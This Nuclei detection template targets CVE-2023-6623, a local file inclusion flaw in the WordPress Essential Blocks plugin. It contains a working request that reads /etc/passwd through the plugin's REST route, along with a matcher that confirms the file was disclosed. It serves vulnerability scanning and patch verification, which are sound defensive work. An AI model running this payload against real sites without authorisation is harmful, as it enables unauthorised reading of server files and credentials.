nuclei-templates/http/cves/2023/CVE-2023-6623.yaml

id: CVE-2023-6623

info:
  name: Essential Blocks < 4.4.3 - Local File Inclusion
  author: iamnoooob,rootxharsh,pdresearch,coldfish
  severity: critical
  description: |
    Wordpress Essential Blocks plugin prior to 4.4.3 was discovered to be vulnerable to a significant Local File Inclusion vulnerability that may be exploited by any attacker, regardless of whether they have an account on the site.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade to the latest version of Essential Blocks 4.4.3 to fix this issue.
  reference:
    - https://wpscan.com/blog/file-inclusion-vulnerability-fixed-in-essential-blocks-4-4-3/
    - https://flysec-blog.blogspot.com/2024/01/cve-2023-6623-file-inclusion.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6623
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6623
    cwe-id: CWE-22
    epss-score: 0.10258
    epss-percentile: 0.9444
    cpe: cpe:2.3:a:wpdeveloper:essential_blocks:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpdeveloper
    product: essential_blocks
    framework: wordpress
    publicwww-query: "/wp-content/plugins/essential-blocks/"
  tags: wpscan,cve,cve2023,wp,wp-plugin,wordpress,essential-blocks,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={"__file":"/etc%2fpasswd"}'
      - '{{BaseURL}}/wp-content/plugins/essential-blocks/readme.txt'

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body_1)"
          - 'contains(body_2, "Essential Blocks – Page")'
        condition: and
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